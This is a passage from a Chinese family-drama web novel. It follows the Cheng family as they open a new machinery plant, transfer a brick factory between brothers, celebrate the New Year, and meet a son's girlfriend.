程向前扬声问:“星星,装修还要多久才好?”
“大概还要一个多月。爸,晚点我带您去看看?”
老头子摆手:“今天就不去了,明天,明天再去。”说完他躺倒在床上。
陶枝小声嘀咕:“你就是懒。”
程向前背过身,没有回陶枝的话。不一会儿,呼噜声就响起来了。
陶枝躺在床边,也眯起了眼睛。
一直到夕阳西垂,余晖从窗帘间隙钻进来,晃到了他们的眼皮子上,陶枝才幽幽地醒过来。
门口响起轻轻的敲门声,“爷爷,奶奶,吃饭了。”
是程明澄的声音,陶枝立即翻身起床。
她一打开门,两个雪白的小团子,排排站在门口,眼睛直直盯着房门。
看到陶枝打开门,程今也乖乖叫人:“爷爷,奶奶,吃饭了。”
程星站在餐桌旁,一听乐不可支:“小今,这是外婆,不是奶奶。”
程今疑惑地看着妈妈,大大的眼睛里满是问号。
这软糯糯的小嗓音,把陶枝的心都给化了。她一手牵一个,往餐桌走去:“叫什么
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都不重要,不要在饭前教孩,有什么饭后再说。”
程今瞬间笑得像只小仓鼠,露出几颗小米牙,叽叽叽叽的,把大家给逗得不行。
陶枝一看:“程晖呢?”
程星在给程今戴围兜,顺便给程明澄夹菜。她听到老妈这样问,反倒愣了一下:“大哥过去邻市,帮程晙管砖厂了呀。”
陶枝吃了一惊:“什么时候的事?”
“我们刚买完房,程晙就来找大哥,这事得有一个多快两个月了。”
“程晙主动提的?”陶枝倍感意外。
程星也很纳闷:“妈您不知道啊?”
“你们没人说,我上哪知道去?”
程星想起来了:“那天程晙想和您说,但好像手机没电了,可能是后来给忙忘了。然后我和大哥,以为程晙说过了,我们也就没再提。”
“那这两个月,就你一个人,带着两个娃?”
程星温婉地笑了笑。
陶枝感觉嘴里的饭都不香了,“不说程晖那事了,你一个人带娃,还要去顾装修,你怎么也不和我说一声?”
“妈,没事,我忙得过来。”
陶枝瞪她:“忙得过来就不会瘦成排骨了,我还以为你是因为水土不服。”
程明澄低头乖乖吃饭,程今反而站起来说:“外婆,不可以骂妈妈。”
陶枝一秒化冰,连忙堆起笑脸,“外婆没有骂人,可能声音大了点,外婆马上改,谢谢小今提醒。”
程今点点头:“老师说了,知错就改,还是好孩子。”
程向前在一旁呵呵笑。
陶枝拿起筷子:“吃饭,吃饭,不说话了。”
吃完饭,老头子去洗碗,程星给小的洗澡。陶枝本想帮忙,但是团子们不愿意。
等到哄睡时,陶枝终于明白,为什么程星睡主卧了。程明澄和程今,一左一右,各抱一只手,把程星夹在中间。
陶枝看到,是既心酸又欣慰。心酸程星把自己搞那么累,也不知道向家里求助一下;欣慰的是,她把事情都处理得很好,而且身上越来越有韧性了。简单来说,就是她的善良,开始带有棱角了。
等到两个宝宝都睡了,程星才有空坐下来聊天。
老头子问:“程晙怎么突然把你哥叫过去了?”
“他忙不过来,别人又信不过,只好找大哥帮忙了。”
“你哥就没想过,明明要怎么办?”
程星扬起了嘴角:“原来您担心这事呀。爸,这边离婚挺常见的,明明找到了小伙伴,而那些单亲小朋友的父母,都是要出去上班挣钱的,明明就叫大哥赶紧去上班,不要天天去幼儿园接他,他的面子挂不住。大哥反而是不舍得的那个。”
陶枝闻言点头:“明明一晚上都是‘姑姑姑姑’,就没见他提过一句他爸,而且看起来确实阳光开朗。”
“程晖多久回来一次?”
程星挺幽默:“大哥每周日回来,带两个小的出去玩,那天就是我的假期。”
陶枝突然想起:“程晙的地皮开工了吗?”
程星摇头:“我不知道,家里没电话,就只有等程晙来,他才会说上几句。”
“那你知道地点在哪吗?”
“程晙说过一嘴,我大概记得位置。”
“那今晚早点睡,房子和工地,明天都带我们去看看。”
“好的,爸,妈,夜梦吉祥。”
50. 第 50 章
或许是下午睡太多,陶枝一直翻来覆去,把老头子吵得没法睡。
他抱起枕头,扔下一句话:“我去程晖房里睡。”
他关上门的时候,忘了回头看一眼,错过了陶枝那上扬的嘴角。
“还是自己睡舒服啊。”陶枝摊开手脚,舒服得喟叹一声。
早晨,程星见到老爸,从程晖房里出来,她愣了一下,随即恢复正常,快到没人看见。
陶枝和程星去送小宝宝,老头子趁着这个时间,自己溜达过去看装修进度。
“爸,您要不等我回来?”
“不用不用,我记得是哪一户。”
他回来之后,偷偷和陶枝说:“看现场的进度,在曼曼放假之前,应该就能装好。”
稍作休息之后,他们出发去工地。摇了近一小时的车,再走了一段石子路,才到达程晙的那块地。
远远可见,连绵一片的施工围墙,将大片土地团团围住,而边缘是一排排的工棚。从车子进出的口子望去,高高架起的变压器下,推土机、压路机在来回穿梭,还有打桩机在准备开工。空气中尽是柴油味和尘土味,各种机器的轰鸣声交织在一起,组成了一副热火朝天的景象。
一看已经在三通,陶枝也就放心了。他们也不去找程晙,看过之后就先行回家了。
没想到周末的时候,程晙反倒自己回来了。他一进门,“爸妈,怎么你们来了,也不和我说一声?我起码还能去接一下。”
陶枝用眼神问程星:是你告诉他的?程星微微点了点头。
“你那么忙,你姐都说了,半个月都难见一面,我哪好意思劳烦你。”
程晙挤到陶枝身边,一手搭上他妈的肩:“咱俩谁跟谁呀,说这话伤感情。”
程向前拿碗出来,一听到这话就问:“伤什么感情?”
程晙立马站起来,“爸,我帮您端菜。”
程星拿着鸡毛掸子过来,边递给他边嫌弃道:“出去掸掸你身上的灰。”
陶枝这才注意到,他裤腿上都是泥巴,幸好进门前换了拖鞋,不然程星恐怕要锤他。
程向前喊:“吃饭了。”顿时从房里出来两个宝。
程明澄一见到程晙,嘴里叫着“小叔小叔”,就想往他的身上扑,被程星一把薅住了领子,“吃完饭再抱。”
程晙捏捏他的脸蛋:“不要着急,晚上我陪你睡。”
程明澄高兴得又蹦又叫,快活得像只刚出笼的小鸟。
程今看到小舅灰扑扑的,默默往后退了好几步。
陶枝问:“你从工地过来的?”
“是啊,今天不想应酬,所以就回来了。”
程向前说:“那正好,今天煮的都很清淡,先来喝碗汤暖暖胃。”
程晙接过碗,喝了几口汤:“爸您这手艺一点也没退步啊。”
程明澄连忙跟上:“爷爷,你煮的饭,可真好吃啊。”说完还感叹一下,把大家给乐得不行。
饭后,程晙瘫在沙发上歇息:“还是家里舒服啊。”
老头子接话:“开车远不远?不远你就回来住呗。”
程晙苦笑:“不行啊,整天喝得醉醺醺的,大晚上回来会吵到小孩子。”
“应酬很多吗?”
程晙点头:“一星期三四回跑不了。”
老头子很是担心:“是因为钱的事?”
“钱只是其中之一。关系要联络,门路要打点,资金也得时刻准备好。什么都要一手抓,事情一茬接一茬的,就没个消停的时候。”
“我们还有一点钱......”
程晙忙说:“不用不用,爸您那点钱,对于房地产来说,只能算杯水车薪,您留着给老妈用。”
程向前看了陶枝一眼,“那能不能请个人来帮你?”
“有些事没法帮,我刚入行,注定是要交点学费的。”程晙豁达地笑笑。
澄明澄在一旁拉他:“小叔,你帮我洗澡。”
程星把衣服拿出来:“正好,你俩干脆一起洗了。”
程晙认命地拉起侄子,主动开启带娃模式。
这套房只有三间房,老头子只好搬了回来。他坐着和陶枝絮叨:“我们好歹有个几十万,怎么程晙还说帮不上忙?”
陶枝乜他一眼:“你没听到儿子说吗?他动不动就是百万起步,我们这点钱确实不够看。”
老头子有点受打击,蔫蔫的不太想说话。
陶枝劝他:“儿孙自有儿孙福,你有你的事业,儿子有他的营生。总不能因为他铺的摊子大,我们做父母的心疼他,就想竭尽全力去帮忙。哪个创业的不是万事开头难,如果你把钱都花光了,其他儿女需要钱的时候怎么办?”
不知道陶枝这番话,戳中了老头子哪个点,他一下子变得精神了:“你说得对,万事量力而行。老婆子,你说我在S市,也开一个机械厂怎么样?”
陶枝也坐起来:“怎么突然有这个想法?”
“你都不让我退休,还不如多挣一点。”
陶枝有苦说不出。老头子的上辈子,七十岁了还开分厂,就因为天天有事忙,反而身体健朗得很。一直到陶枝回来前,他有钱又有闲,还有娇妻在旁,生活过得美滋滋的。
一想到这,陶枝瞬间冷静:“如果你决定了,那就这样做吧。”
程向前还担心遭到反对,闻言他怀疑自己听错了:“你没有意见?”
“我又没毛病,还会嫌钱多。”
“你就不担心担心我?”
陶枝忍不住翻白眼,她才是早死的那一个,谁担心谁还不一定呢。
但这话是万万不能说的,她放柔声音说:“我这不是想一家人在一起嘛。”
老头子很讶异:“你不打算回去了?”
“程星一个人带两个娃,那边房子又在装修,你看她忙得晕头转向的,我总得留下来帮帮她吧。”
“你什么时候决定的?”
“我正打算和你商量。”
“你说得也有道理,如果我在这边开厂,就不必老家这里两地跑,身体起码没那么遭罪。”
“但是,机械和设备,开支可不小啊。”陶枝仍然记得,机械厂里的机器,是怎么一台一台攒回来的。
“如果都买全新的,那资金需求肯定大,但如果买二手的,像那个胶合板厂,就没什么压力了。”
现在租厂房也不贵,陶枝在记忆里搜寻,她记得机械加工在邻市,也属于遍地开花的行业。而
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从S市开车去邻市,就一个小时的车程,比回老家奔波十几个小时,那可真是天与地的差别。
开销的大头还有人工,陶枝算了一下帐,好像开新厂完全不带虚的。
“但我们先得把老家的厂安置好。”
“我有一个想法。”老头子说。
“说来听听?”
“和程星的板厂一样,把经营权承包出去。”
“你疯了吗?那可是产金蛋的母鸡,我们需要稳定的收入。”陶枝忍不住低呼道。
“莫急,莫急。”老头子安抚陶枝,“你先听我说完。”
陶枝深呼吸,“好,你说。”
“我驻守在这边的话,回去交通不便,而且还鞭长莫及,你觉得交给谁管你放心?”
陶枝认真思索了一会,“财帛动人心,交给谁都不好说。”
“而且,是我找的老客户,和妹夫给的单子,支撑起的这么大的利润。当我这边开起来,妹夫的单子转过来,当我不能像以前一样,那么用心去维护客户,你觉得厂里还有这么可观的盈余吗?”
“订单你想都拿走?”
“那不现实,老家的客户,肯定是留在老厂。我的意思是,像一些市外的、省外的订单,我就可以转来这边做,就能确保新厂一开起来,就有订单可以做。”
陶枝之前没想过这个可能,她一时听得脑袋嗡嗡的。
“先不说这些事,最重要的一点,你打算承包给谁?”
“我想给二弟家的程昱。”
“他毕业不是进了银行吗?”
“还在实习期,每天在柜台,工资五百块。”
陶枝惊到了:“大学生的工资也这么低?”
“嗯,他不喜欢那个环境,之前有找我聊过天,问说做生意的话我有什么建议?”
“程昱我没意见,毕竟是自家人。但是,他学的不是金融吗,和机械差十万八千里呢。”
“他不懂可以问我,我总不会不管他。”
“如果程昱愿意,那我没有问题。”
“和程星那个承包不一样呢?”老头子在试探。
“怎么不一样?”
“我不按提成拿,每年承包费用固定,交够一定的金额后,设备全部都变成他的。”
“那地皮和房子呢?”
“这些肯定不给。”
“那没事了,我这边可以。”
“你同意?”老头子有点不敢信。
“我知道,你想半卖半送,自己家的孩子,拉扯一把是应当的,我是真的没有意见。”陶枝说得特别真诚,她也是真的这么想,反正比上辈子便宜了他的继子好。
程向前给陶枝捏肩捶背,“阿枝,谢谢你。”
陶枝一码归一码,“听我大哥说,自从开厂之后,你每个月都给他们发工资?”
“因为没空去看他们,我想着干脆折现好了。”
“那也不用每个月......”
老头子截住她的话:“就当是为你尽孝了。”
“你也是个好妹夫,我替我哥他们谢谢你。”
“彼此彼此,睡吧,明天还有好多事。”
“晚安。”
“好梦。”
51. 第 51 章
第二天早饭,大家刚坐下,程向前便把话说开,也算是借机征询意见。
程晙第一个表态:“爸您这就对了,生意在哪不是做,最重要的是,一家人住得近一些,有什么事都好照应。”
陶枝很惊讶:“我还以为你会叫你爸别干了。”
程晙翻出自己的口袋,空空的连个钢蹦都没有:“我现在是有心无力。”
老头子拍拍他:“有机会的,等你从现在的负翁,变成富翁就可以了。”
程晙拍胸脯道:“到时我肯定没二话。”
陶枝心想,幸亏我不做白日梦。
程星听了,也觉得挺好,不然老爸一个人在老家,其他人不得牵肠挂肚的?
对于经营承包这一事,家里已经有过先例,大家都接受良好。特别是程星,可谓是经验丰富。
离房子装修好,还有一段时间。老头子刚好可以,回去办理承包的事。而程星则被委以重任,找厂房和二手机械的事,就交到了她手上。
陶枝对老头子说:“你让她天天坐着公交,晃来晃去的给你找场地?”
程向前连忙否认:“那肯定不能,钱都在你那,怎么安排,不是由你说了算吗?”
“那我也得问问你意见嘛。”
“先把启动资金预留出来,其他的,都听你。”
陶枝转头问程晙:“你哥不回来,是不是因为没有车?”
“您是指公车汽车,还是自己开的车?”
“公司配车。”
“我和大哥说过,皮卡他可以拿去用,是他自己不想开的,而且大哥好像没驾照。”程晙解释道。
“那从砖厂回来,坐公交车远吗?”
“单程最少三个小时。”
行吧,陶枝也就不管他了,她和老头子打商量:“那在家里装部电话?”
“得装,必须装,不然太不方便了。”程晙反倒吐槽上了。
程星瞪他:“你不是有手机吗?”
“大姐,手机的话费多贵啊,有固话肯定打固话啦。”程晙想想都肉疼。
陶枝拍板:“下午就去装。”
既然事情决定了,老头子就去买票,事情越快处理越好。
陶枝又过上带娃的生活,家里地方小,她就请了两个钟点阿姨。一位负责一日三餐,另一位专门搞卫生,到点就来,做完事就走,不用包吃包住,省了她不少心。
在程向前回去之前,父女两个协商好了,奥拓到时开下来给回程星,老头子自己则选了桑塔纳。不过新车刚一落地,老头子就得回去了,倒是先便宜了程星。
时间过得飞快,眨眼就两个月了。房子业已装修好,但是暂时还不能住,因为工人和陶枝说:最好晾它一个月。
程星的工作成果喜人,在她的不懈努力下,合适的厂房和二手设备,都被她找到且买下来了。本来对机械一窍不通的她,在学习了案头的那一摞书籍,和交了不菲的电话费账单后,她已能对大小设备如数家珍,对各种专业术语手到拈来。
因此,老头子安心地呆在老家,手把手教程昱,帮助他快速上手这一摊子。程向前通过电话遥控,还安排了两名老师傅过来,在邻市就把新厂给开起来了。程星每天开车来回,披星戴月的,一点一点把新厂给建设起来了。
陶枝看得出她的疲惫,但再憔悴的容颜,也挡不住她耀眼的光芒。程星的背脊挺直,走路开始带着风,她越来越自信,果敢,从容,显得如此夺目,以及光彩照人。
陶枝至此才完全放心,进可攻退可守,是程星锻就了她了自己。过去那个软弱的她,已经在记忆里蒙了尘,褪去了所有色彩之后,就再看不到丁点的痕迹。
程曼都开始放寒假了,老头子的事情没忙完。程曼直接回的S市,既然老爸不在,她选择和老妈一起睡。
程星说:“大哥经常不回来,要不你住他那间房?”
程曼抱着陶枝的手:“叫老爸去睡吧。”
“你小心老爸削你。”
程曼高抬尖下巴:“他才舍不得呢。”
这一天,程曼逛街回来,鬼鬼祟祟拉陶枝:“妈,我刚在电影院,见到小哥和一个女孩子,手拉着手可亲密了。”
陶枝脸色一肃:“你和谁去看电影了?”
“妈,这个不是重点。”程曼跺脚。
“你哥都这个年纪了,他谈恋爱是正常的。反倒是你,这才回来几天,就有人约看电影了,我更关心约你的是谁?”
在陶枝的逼视下,程曼悻悻地说:“是大学同学啦,坐同一趟火车回来的。”
“就你们两个人吗?同学是男是女?”
“妈,您怎么了?跟审犯人似的。”
陶枝缓和了口气,“妈妈不是那个意思。”
“您以前从来不过问这些的。”
“新换了个城市,妈妈也有点不习惯,我可能是太过担心你。”
“妈,不用担心,我翻过年就二十了,我懂得保护自己的。”
程曼的这段话,一下把陶枝拉回望乡台,程曼那萎顿在地、生死未卜的的身影,顿时闪现在她眼前。环境与现实相结合,陶枝像坠入了梦魇,场景在反复上演。她一口气堵在胸口,上不去也下不来,只觉得血往头上涌,眼前开始变得模糊。
程曼低着头,做好被骂的准备,结果等了半天,没有听到一个字。她抬起眼睛,看到老妈的眼眶里蓄着泪,要掉不掉的,把她吓得僵在了原地。
过了一会儿,她小心翼翼的:“妈——”
就这一声,像破除了迷雾,把陶枝唤了回来。她揉一揉眼睛,摸到一手的湿润。
程曼胡乱扯了几张纸巾:“妈,您怎么了?”
陶枝印了印眼角,“没什么,就是想到一些不开心的事。”
“不会和我有关吧?”程曼去拉她的衣袖。
陶枝的目光,温柔落在了程曼身上,好像是在看她,又好像看的不是她,程曼没来由的一阵心慌。
陶枝轻轻摩挲她的头发,像对待一件稀世的珍宝。虽然不知道发生了什么,但程曼很识趣,她把头抵在妈妈的肩膀,仿佛在祈求无声的原谅。
陶枝叹息了一声:“曼曼,对不起,妈有点大惊小怪。”
“没有的事,您只是在担心我。”
“是啊,我担心的事太多了,怕你被人骗,怕你被人欺负,怕你看不清人心,怕你......”
程曼紧紧靠着她:“妈妈,我不小了。”
“就是因为长大,才有这些担心。”
“妈您放心,我是不会早恋的。”
“此话当真?”
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“部队对作风这块抓得很严。”
陶枝不清楚这茬,闻言她破涕而笑,心中大石这才放下。她把手套一扔,站起来说:“去换衣服,我们出去吃饭。”
程曼谈条件:“去国宾馆?”
“跑这么远,你不饿呀?”陶枝状似嫌弃道。
程曼蹭着她撒娇:“有好吃的,谁怕远啊。妈去嘛去嘛,我久闻其名,还没见识过呢。”
陶枝被她磨得没办法,“你负责喂程今?”
程曼点头如捣蒜:“没问题。”她俩快速回房换衣服,去幼儿园接上两个小的,然后就直奔着国宾馆而去。
程晙女朋友这事,就被抛之脑后了。
还有三天就过年,程晖也放假回家了,老头子才风尘仆仆的,自己开车赶了回来。
陶枝提前把房子收拾好,依旧是三室一厅的格局,她和老头子每人一间,程曼也自己住一间。老头子到家的第一件事,澡也不洗,饭也不吃,直接倒头就睡。
等到他睡饱之后,那些不方便在电话里说的,程向前才向陶枝说一一清楚。
首先是承包费,老头子没要多,一年就收十万块。这个承包的金额,是老头子根据每年的利润,把妹夫的订单也剔除了,按着现有的客户计算,最差最差的情况,一年纯利还能有二十几万。并且在十年之后,或者说给足一百万后,所有的生产资料,就完全属于程昱的了。就凭这一点,老头子真的很良心了。
第二是设备的钱,他给算了个折旧价,按新机器的四到六折,这个要求五年内付清。那几十台机器,所有加起来的钱,还不能覆盖程星买二手机器的钱。陶枝一听到这里,狠狠瞪了老头子几眼。
最后一笔,就是租金的钱。出租厂房和宿舍,这个就按市价的八折。这个钱就是每个月收,程昱每月初去银行电汇。
程向前呆了这么久,一是为了再多教侄子一点,二是要收第一年的承包费。他给足时间让程昱去凑钱,他说在商言商,这种钱是不能拖欠的。
因此,他这次回来,就带了他自己,一辆车和十万块钱。
陶枝气也气过了,事情也发生了,说再多也无济于事,她就把钱都给没收了。
事情说完了,就准备吃饭。吃饭还是在程星这边,主要得迁就两个小娃娃。陶枝搬出去之后,空出来的这间房,就收拾给程晙住了。
而程晖的房子,陶枝则约了工人,年后再给他装修。
程晙的工地,早早就放假了。他虽然闲下来一点,但也是天天不着家。程曼每次挤眉弄眼的,陶枝都当自己没看见。
腊月二十七了,除了老头子在休息,全家都出动去办年货。最高兴的是程明澄和程今,在各个摊档之间穿来穿去,程晖两兄弟得专门盯着他俩。
腊月二十八,洗邋遢。全家总动员,进行大扫除,寓意是把过去一年的“穷运”“霉运”,统统给扫地出门,祈求来年平安吉祥。就连小今和明明,都得拿块抹布装装样子。
腊月二十九,贴春联,炸年货。陶枝和程星在厨房,不多时响起“滋啦”一声,瞬间爆出一阵浓烈的油香,混合着各种食物的香气,不讲道理地钻进鼻腔,勾起人肚子里的馋虫。两个小宝宝直接跑进厨房,守着炉灶眼巴巴地看着,扑闪扑闪的大眼睛,看得人真是忍俊不禁。
52. 第 52 章
除夕,阖家欢乐的节日。
每个人都早早起来,把自己给收拾干净。去到陶枝住的那套房。客厅正中是一张八仙桌,上面已摆好祖先的牌位,香炉和供品。早上供的是早餐,每样都是一点点,恭恭敬敬的摆放着,再摆上两双新筷子,平整放在供饭菜的碗上。
程向前先去上香,点蜡烛,接着说一句:“承礼祖先回来过年。今年没有办法回去,所以就在这个地方,聊表心意,恳请老祖宗们回家过年。”
紧接着家里每个人,依次上前,为祖先斟三次茶酒。
接下来,每个人都行三个深鞠躬,然后才回程星那边吃早餐。
到了下午,依然是先祭祀。这一次是磕响头,然后在阳台烧纸钱。为了安全着想,陶枝只买了很少的金银元宝,程向前边烧边呼唤祖先前来领取,祈求他们在那一边富足安康。
纸钱烧完,再次行礼,恭送祖先。
仪式结束后,撤下供品,收拾桌子,把牌位放回高处。这些供过的食物,就拿来制作年夜饭,一家人分享祖先的保佑。
晚饭过后,除了小今和明明,大家都坐在沙发上,看《春节联欢晚会》。
这时,程晙扔下一枚炸弹:“大哥,我把砖厂转给你?”
瞬间,所有人的目光,都锁向他们两个。
程晖吓一跳:“给我干嘛?”
“我看你管得头头是道,砂砖的品质也把控得好,比我自己管理来得省心。”
“你现在的工地,正处于用砖高峰期。这边出厂,那边进场,左右都是你的地盘,你何必要多此一举?”
“每次用砖,光是走账,就是件麻烦事。”
“那是财务的活,我这边不麻烦。”
“大哥,我现在分身乏术,你是看得到的。砖厂要在我手里,恐怕很难发展起来。”
“没事,我帮你盯着,有什么想法你就说,我能做的就帮你做。”
“但是生意场上瞬息万变,等我收到风,都不清楚到底传了几手。等到我再去告诉你,黄花菜都凉得不能再凉了。”
程晖沉默了一瞬。
“而且,你就这样帮我做事,和打一份工没有区别,反而限制了你的发展。说句不好听的,万一哪天我们闹矛盾,那你说砖厂怎么办?”
“就这个事啊,如果真像你说的,砖厂还给你就好了。我又不是没钱,生活过得去就行。”程晖毫不在意地说。
“大哥,那我说直白一点,我既想让你把砖厂撑起来,还想找个人分担风险,这样说你能明白吗?”
“嘿,你早说嘛,要我怎么做?”
“先把砖厂更名,不能再放我名下。”
“那你之后要用砖?”程晖狐疑道。
“我们签个长期合同,到时拿真金白银来买。”
程晖经常查账,听到这他就明白了。
“那你的资金链跟得上吗?”
“先不说这个,现在你懂我为什么要产业分割了吧?”
程晖郑重点了点头。
从头到尾,陶枝他们都没出声,只是静静磕着瓜子看戏。听到这里,事情基本明了,没他们什么事,他们转头看春晚是也。
程晙继续:“亲兄弟,明算账。咱们请个会计来,把砖厂的资产盘一盘,算一算总价。我也不多要,在成本价上打个折。钱不用一次性给我,你可以分期付款,也可以用货款来抵扣,大哥你看怎么样?”
程晖难得开起玩笑:“你都已经盘算好了,还轮得到我拒绝吗?”
程晙哈哈大笑:“大哥,你放开手脚好好做,砖厂起码还有二十年风光。”
这对于程晖来说,不亚于新年最好的礼物。虽说他之前没有多大的野心,但砖厂转让成功的话,将成为他名义上第一间独有的产业。想想他就开心,所以新年期间,他感觉整个人都如沐春风。
正月初六,上班日。两兄弟去请会计,迅速进场清算资产。包括固定资产,流动资产,无形资产,应收账款,以及负债等等。
程晙向程晖解释:“大哥,以后厂子100%是你的,为避免有什么坏账烂账,所以我们得把账算清楚,这样最公平,也是避免以后扯不清。”
程晖乜他一眼:“我比你有经验。”
把资产和负债都算清后,两人请了律师来,当面起草《资产转让协议》。
程晖选了“承债式收购。”即砖厂的负债他来承担,而相应的,付给程晙的净资产就有所减少。而砖厂的应收账款里,还有程晙未付的砖钱,这笔钱也相互抵扣了。
这样操作的话,程晖应付的金额,就已经没有多少了。程晖意识到,弟弟在尽可能的,帮他减轻资金的压力。
两兄弟还挺幽默,把老爸老妈请来,给他们当见证人。
陶枝和老头子,逐字逐句翻阅,就连注释的小字,和标点符号,也都没有放过。
程晙笑道:“妈,您这么认真呢?”
“当然,我怕你们赖上我。”陶枝再三确认:“我只是做个见证,不需要我掏钱的吧?”
律师在一旁都听笑了。
三方确认没问题之后,都在协议书上签了字。之后就是实物交割,还有产权变更了,正好在律师事务所,他们干脆一次性把事情都给办了。
手续办好之后,程晖用力握住程晙的手,眼眶微微有些发红。
他说:“小晙,你放心,厂子在我手里,只会比以前更好。哥哥在这里答应你,以后你工地上用的砖,砖的质量和供应,你永远不必为此操心。”
自此,程晖把心思都扑在砖厂上,他开始以老板的思维考虑问题:怎么降低成本、怎么开拓新客户、怎么改进技术。他回家的次数开始减少,程明澄要见他一面,还得陶枝或老头子开车送明明过去。
程明澄在沙场滚,再次弄得一身脏兮兮,陶枝忍无可忍,捏着拳头对程晖说:“你再不去考驾照,老娘就要上手揍你了。反正我是不打算再来,不然你就每周摇公车回,二选一,别说我没给过你机会。”
迫于陶枝的淫威,程晖一个月就把驾照拿到了。
所以别说什么做不到,那是因为逼得不够狠。形势比人强的时候,那是不行也得创造机会行,陶枝对程晖的气,才算舒散了一些。
程星经常和她爸同进同出,她现在也算机械厂的二把手,每天风风火火的乐在其中。所以那辆奥拓,她就借给大哥,程晖这才每周能回家两三趟。
看到程明澄明媚的笑脸,陶枝后悔没早点收拾他。
两个月后,程晙在晚饭时
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宣布:“爸,妈,您们哪天有空?我带女朋友给您们认识一下。”
陶枝先确认:“程晖程星,周日你们在家吧?”
他们可不敢拖后腿,连忙点头:“在家在家。”
“那就周日这天,去酒楼可以吗?”
“没问题。”
周日这一天,陶枝穿得很精神,她还提前去做了头发,在美容院呆了一个下午。
到了酒楼,程晙已经在等着了,同桌的还有一位清丽的小姑娘。
一见到陶枝,他俩就站起来,程晙给陶枝介绍:“爸,妈,这是卫红霞。”
“叔叔阿姨好。”卫红霞大大方方打招呼。
“红霞,这名字起得真好,听起来就像一幅画。”陶枝笑眯眯回应。
程晙已经点好菜,大家都落座之后,饭菜都陆陆续续上桌了。
陶枝看卫红霞喜欢吃排骨,就用公筷给她夹了两筷子:“孩子,别客气,你这么瘦,就该多吃点。”
她每次都端起碗来接:“谢谢阿姨。”
陶枝默默点了点头。
“红霞,你是哪里人?”
卫红霞放下筷子,把嘴里的食物吞下去,这才回答她:“阿姨,我是您隔壁村的。”
陶枝惊到了:“那你会说老家话吗?”
卫红霞秒切换,用方言重新问好。
陶枝瞪程晙,这破孩子,真是不让人省心。
程晙接收到老妈的视线,他笑着打哈哈:“我给忙忘了。”
陶枝笑着赞道:“那你们好有缘,居然能在S市遇上。”
既然程晙也没介绍,陶枝也不好问太多,于是话题都在程晙身上打转,大家和和气气吃完这顿饭。
临走之前,陶枝拿出一个红包,语气温和地说道:“好孩子,第一次见面,叔叔阿姨没有准备,这一点小心意,你自己去买点喜欢的东西。”
卫红霞双手接过来,露出一个甜甜的笑容:“谢谢叔叔阿姨。”
陶枝也笑着说:“今天特别高兴见到你,以后有空多来家里玩,阿姨给你做好吃的。”
“有空一定来。”
“程晙,你送小霞回家,路上注意安全啊。”
卫红霞不停摇手:“阿姨,不用,我住得不远,让程晙送您和叔叔吧。”
陶枝拍拍她的手:“孩子,你要记住,不管时间多晚,男朋友再累也好,一定要让他亲自送你回家。事关年轻女孩子的安全,这是个原则性的问题。”
卫红霞红着脸,轻轻点了点头。
一起下到一楼,她看到陶枝上了桑塔纳,这才发觉自己说了什么蠢话。
她生气地质问程晙:“你怎么也不告诉我,叔叔阿姨是开车来的?
程晙哈哈大笑:“我也没告诉他们,你是我们那里的人啊。”
卫红霞直接上手锤他:“我都快丢死人了。”
程晙握着她的手:“不会不会,我妈只会觉得你很可爱。”
“当真?”
程晙对天发誓:“我什么时候骗过你?”
卫红霞这才放过他。
程晙猜对了陶枝对卫红霞的看法,却没有猜到老妈对自己的想法。
他送完女朋友之后,还不知道家里有什么在等着他。
53. 第 53 章
程晙回到家,两老正坐在客厅。
他也是嘴贱:“哟,这是在等我呢?”
陶枝招招手叫他过来,刚一靠近,陶枝霍霍霍给他几拳。
程晙连忙跳开,但被他妈按着,生生受了这几拳。
他痛得“嘶嘶”声,揉着被打的地方,感觉明天肯定要起痧。他一脸委屈:“妈,你干嘛打我?”
陶枝怕自己一开口,就会变身霸王龙,忍不住喷他一头一脸。这大晚上的,她已经出了气,就不必再骂人,她没搭理程晙,拉上老头子回隔壁栋去。
程晙本来兴高采烈的,现在被浇了个透心凉。陶女士暧昧不明的态度,让他对自己的揣测产生了怀疑。
第二天早饭,程晙居然在家,一见到陶枝:“妈,昨晚睡得好吗?”
伸手不打笑脸人,陶枝回了一句:“还不错。”
程明澄告状:“奶奶,我没有睡好,小叔一直翻身,他吵到我了。”
“那罚他今晚不许跟你睡。”
程明澄苦恼地想了想,“那我还是原谅小叔吧。”
程晙顺着竹竿往上爬,立马露出讨好的笑容:“妈,明明都原谅我了,这咱家的良好家风,您也给我发扬一下?”
陶枝喝一口粥,再咬一口萝卜干,哎呀嘎嘣脆可真好吃。
她吃得喷喷香,程晙则在一旁,干巴巴的看着,生动演绎什么叫食不下咽。
“妈——”
陶枝放下了筷子,程晙麻利递过纸巾,她接过擦了擦嘴说:“我又没有怪你,谈什么原谅不原谅?”
程晙喜上眉梢:“还是老妈大气。”
陶枝打断他:“要钱免谈。”
程晙的笑差点挂不住:“妈,我还什么都没说呢。”
“不用说,就一句话,我没钱。”
“您儿子结婚诶,这么大的事您也不管?”
“又不是我结婚。”陶枝吹了吹茶水,抿一口,还是烫。
“妈......妈......”程晙挪过来,想要凑近他妈,陶枝把杯子举高,“停,小心浇你一脸。”
程晙坐回去:“妈,您对红霞有意见?”
陶枝瞪他:“话可不能乱说。”
“那是......对我有意见?”
陶枝如释重负:“你终于意识到了。”
“不是,”程晙转向他爸,“我没做什么啊?”
老头子也生气:“正因为你什么都不做。你见过谁家像你这样,都见家长了,还不知道女方情况的?”
程晙顿时觉得理亏,他确实瞒了不少事。
陶枝摆手道:“那都不重要了,你该干嘛干嘛去,别在家烦我们俩。话说你不赶紧去赚钱,到时拿什么来娶媳妇?”
“妈,结婚的钱我有,就是没地方住。”
“包括彩礼钱?”
程晙吓一跳,“妈,您都知道了?”
“我刚刚是诈你,是你的反应告诉我,我和你爸猜的没错。”
程晙颓然坐下:“我没想要瞒您的,就想晚一点再说,怕您一旦知道了,不同意我和红霞在一起。”
陶枝冷哼一声,“现在都什么年代了,你把我封成老古董,认定我要棒打鸳鸯?”
“我不是这个意思。”程晙连忙解释。
程向前发问:“她真是卫有财的女儿?”
程晙沮丧地点了点头。
老头子再问:“那你知道他家的门风吗?”
“知道,不过没关系,这笔钱我出得起。”
“照你这么说,每个求娶他们家的,十万块彩礼的规矩,是真有其事?”老头子感到难以置信,这竟是明码标价不成?
陶枝反而开怀大笑:“管他十万八万的,又不是跟我们过。只要不找我拿钱,我才不管他们的事。”
老头子被笑声感染,他想想也对,遂也闭嘴不再多问。
程晙暗舒一口气:“妈,我不是因为彩礼这事。
“有什么你就直说吧。”
“如果结婚的话,我现在没有房子。”
“等你的小区建好,你要多少房都有。”
